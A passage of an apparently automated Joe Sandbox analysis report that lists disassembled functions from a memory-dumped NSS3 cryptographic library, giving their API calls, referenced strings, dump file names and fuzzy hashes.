Opcode Fuzzy Hash: a886ef859cd22410dcf1c9062829f9dd165f58e0bd0bdfddc6dc7b098576b585
Instruction Fuzzy Hash: 2C01D2B5F112B09FEF20AFA4AC0DB893BB8A70A748F140125E91EA7B40D73695048797

Function 6CB81C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CA83D77,?,?,6CA84E1D), ref: 6CB81C8A
sqlite3_free.NSS3(00000000), ref: 6CB81CB6

Strings

a CHECK constraint, xrefs: 6CB81C76, 6CB81C81
a generated column, xrefs: 6CB81C6C
an index, xrefs: 6CB81C67
non-deterministic use of %s() in %s, xrefs: 6CB81C85

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 88b5126a6d26669b1182c1114c90953b875c2f3198e5f19e5e8de40ed8dcf767
Instruction ID: dca7163f229062feee4434b6513235d910597fe1933bcf61bae3218b9b000b74
Opcode Fuzzy Hash: 88b5126a6d26669b1182c1114c90953b875c2f3198e5f19e5e8de40ed8dcf767
Instruction Fuzzy Hash: 110147B5B001804BD700BF68D8029B177E5EF8234CF14486DED88DBB02EB32E89AC752

Function 6CB32E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB33046

Part of subcall function 6CB1EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB1EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CB07FFB), ref: 6CB3312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB33154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB32E8B

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CB1F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CB09BFF,?,00000000,00000000), ref: 6CB1F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CB07FFA), ref: 6CB32EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB3317B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 318a6ac525925d3309ca47e654423efa555df43de8a848857231a39d4d9b1422
Instruction ID: 3895b1f6dd49d964cf19680e53fb82a73e3e8bd8ef73ed8a55f6c10b8121ddb7
Opcode Fuzzy Hash: 318a6ac525925d3309ca47e654423efa555df43de8a848857231a39d4d9b1422
Instruction Fuzzy Hash: FDA1AD75A002689FDB24CF54CC84BEEB7B5EF49308F048199E94D67741E731A985CF92

Function 6CAFED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CAFED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CAFEDCE

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

free.MOZGLUE(00000000,?,?,?,?,6CAFB04F), ref: 6CAFEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CAFEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAFEEFB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f6f3b77fcb316ead307241371bbbc16fa61ca5d98f640f2a7d6ba61ab6c27bb6
Instruction ID: 46523f9e71bdd3726be41f4f66b2d4f2a9ada53d03b48e76c1a22b44b842bdbd
Opcode Fuzzy Hash: f6f3b77fcb316ead307241371bbbc16fa61ca5d98f640f2a7d6ba61ab6c27bb6
Instruction Fuzzy Hash: 1B817EB1A002059FEB14CF59DD80AAB77F5BF88308F18442CF92597B51D735E89ACBA1

Function 6CAFCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

PR_Now.NSS3 ref: 6CAFCD35

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

Part of subcall function 6CAE6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C3F

PR_GetCurrentThread.NSS3 ref: 6CAFCD54

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Part of subcall function 6CAE7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91CCC,00000000,00000000,?,?), ref: 6CAE729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CAFCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CAFCE2C

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CAFCE40

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

Part of subcall function 6CAFCEE0: PORT_ArenaMark_Util.NSS3(?,6CAFCD93,?), ref: 6CAFCEEE
Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAFCD93,?), ref: 6CAFCEFC
Part of subcall function 6CAFCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAFCD93,?), ref: 6CAFCF0B
Part of subcall function 6CAFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAFCD93,?), ref: 6CAFCF1D

Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF47
Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF67
Part of subcall function 6CAFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CAFCD93,?,?,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF78

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 32d323609478027432aa4c6409691845090470e35f00c7dae3a30b2de07d85b4
Instruction ID: a19290365bbc077698e5478ba7fd01f4c6049c038c5644e3079695f78f25494f
Opcode Fuzzy Hash: 32d323609478027432aa4c6409691845090470e35f00c7dae3a30b2de07d85b4
Instruction Fuzzy Hash: F251B3B6E001049BE720DF6ADC40BEA77F4EF4834CF290524E96597741EB31E98ACB91

Function 6CB0FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CB0FFE5

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB10004
PR_EnterMonitor.NSS3(?), ref: 6CB1001B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 2cf12f9c7646621b51d41ac3b8c03861ada7f2dc8b59abf44dfec90117ccb2a5
Instruction ID: c46937963b3417423c1935cf3ca3e7c6f91c6e98563c7fe36ca7d6bf32f8fe3d
Opcode Fuzzy Hash: 2cf12f9c7646621b51d41ac3b8c03861ada7f2dc8b59abf44dfec90117ccb2a5
Instruction Fuzzy Hash: F741567568C6C08BE7204A28FC557AB73A6EB01328F14053DF54BCAE90E7BDA579C742

Function 6CACEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CACEF38

Part of subcall function 6CAB9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAE379E,?,00000001,?), ref: 6CAB9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CACEF53

Part of subcall function 6CAD4C20: TlsGetValue.KERNEL32 ref: 6CAD4C4C
Part of subcall function 6CAD4C20: EnterCriticalSection.KERNEL32(?), ref: 6CAD4C60
Part of subcall function 6CAD4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CA1
Part of subcall function 6CAD4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CBE
Part of subcall function 6CAD4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CD2
Part of subcall function 6CAD4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D3A

PR_GetCurrentThread.NSS3 ref: 6CACEF9E

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

free.MOZGLUE(00000000), ref: 6CACEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CACF016
free.MOZGLUE(00000000), ref: 6CACF022

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: a7698cbb72851f78f6f859cdd229767a8a1a0c56a68406b9788e924248cb5bb6
Instruction ID: d86a4ca23d0b86415deb699c74d1949b2a672692d6658cf1ece5c75ad0f546f0
Opcode Fuzzy Hash: a7698cbb72851f78f6f859cdd229767a8a1a0c56a68406b9788e924248cb5bb6
Instruction Fuzzy Hash: 1841A471E00109AFDF018FA9DC85BEE7BB9AF48358F044029F914A7351E771D959CBA2

Function 6CABCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CABCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CABD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CABD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABD025
PR_NewLock.NSS3 ref: 6CABD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CABD074

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 65589b88bcd1b16ef0b2a76f828e81a6e22b107d9b3217c06f4ccfb138b29625
Instruction ID: eb1a5e6a03dd66c22ed54450e4a45d4ddb3bd9285bf0199ae31f3b64067dc0f5
Opcode Fuzzy Hash: 65589b88bcd1b16ef0b2a76f828e81a6e22b107d9b3217c06f4ccfb138b29625
Instruction Fuzzy Hash: 6341B4B4E013158FDB10DF29C88479A7BA8EF08319F14416ADC1EAB74AD774D4C9CB91

Function 6CB03FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB03FF2

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CB04001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CB0400F

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CB04054

Part of subcall function 6CA9BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CA9BC24
Part of subcall function 6CA9BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA9BC39
Part of subcall function 6CA9BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CA9BC58
Part of subcall function 6CA9BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CA9BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB04070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CB040CD

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: cc7bb3735c9df027b92835e6569707cb62531384ab33e14a297ae15a150c5069
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7B31EBB1F0038197EB009F549D41BBB3768EFA060CF144225FD49AB742FB72E9998692

Function 6CAA2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CA92D1A), ref: 6CAA2E7E

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

PR_Now.NSS3 ref: 6CAA2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CAA2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CA92D1A), ref: 6CAA2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA92D1A), ref: 6CAA2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAA2F81

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 677d02b9e805b62574f5c1df84b4c80b418adb5facc52540431cdff3befa5686
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: A031E4715011408BE724CE97DC48BAEB2A5EB88318F684779D42D97AD0EB31D8FBC651

Function 6CA90E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CA90A2C), ref: 6CA90E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CA90A2C), ref: 6CA90E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CA90A2C), ref: 6CA90E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CA90A2C), ref: 6CA90E90
free.MOZGLUE(00000000), ref: 6CA90EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CA90A2C), ref: 6CA90ED9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cc9eef7cdb0b02060d836630d5942ae68cbe63def91cee696269726e6a605028
Instruction ID: 5104931a235d1564d0ea8bd74c3d49bf136462c3b9ae5ff79364bd9bdefed23a
Opcode Fuzzy Hash: cc9eef7cdb0b02060d836630d5942ae68cbe63def91cee696269726e6a605028
Instruction Fuzzy Hash: AB213E76E102845BEF10496A9C47B6B76FFDBC9BC8F1D0035D81C97A02EB70C8D982A1

Function 6CA9AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CA9AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CA9AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CBB9500), ref: 6CA9AF23

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9AF37

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 415c9a61f3747c1f1b990369ddb864d2011ff4b13bc449c550dc4aea20f2d378
Instruction ID: 2bf6e8d1dfde3bbcd1c85278035819a4cb255222ab21ea5c36c12c4437512c44
Opcode Fuzzy Hash: 415c9a61f3747c1f1b990369ddb864d2011ff4b13bc449c550dc4aea20f2d378
Instruction Fuzzy Hash: C1215AB2D152105BEB008F18DC42B9A7BE5AF8572CF14431AFC199B780EB31C98987A7

Function 6CB1EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB1EE85
realloc.MOZGLUE(5A50AEA9,?), ref: 6CB1EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CB1EEC5

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

htonl.WSOCK32(?), ref: 6CB1EEE3
htonl.WSOCK32(00000000,?), ref: 6CB1EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CB1EF01

Memory Dump Source

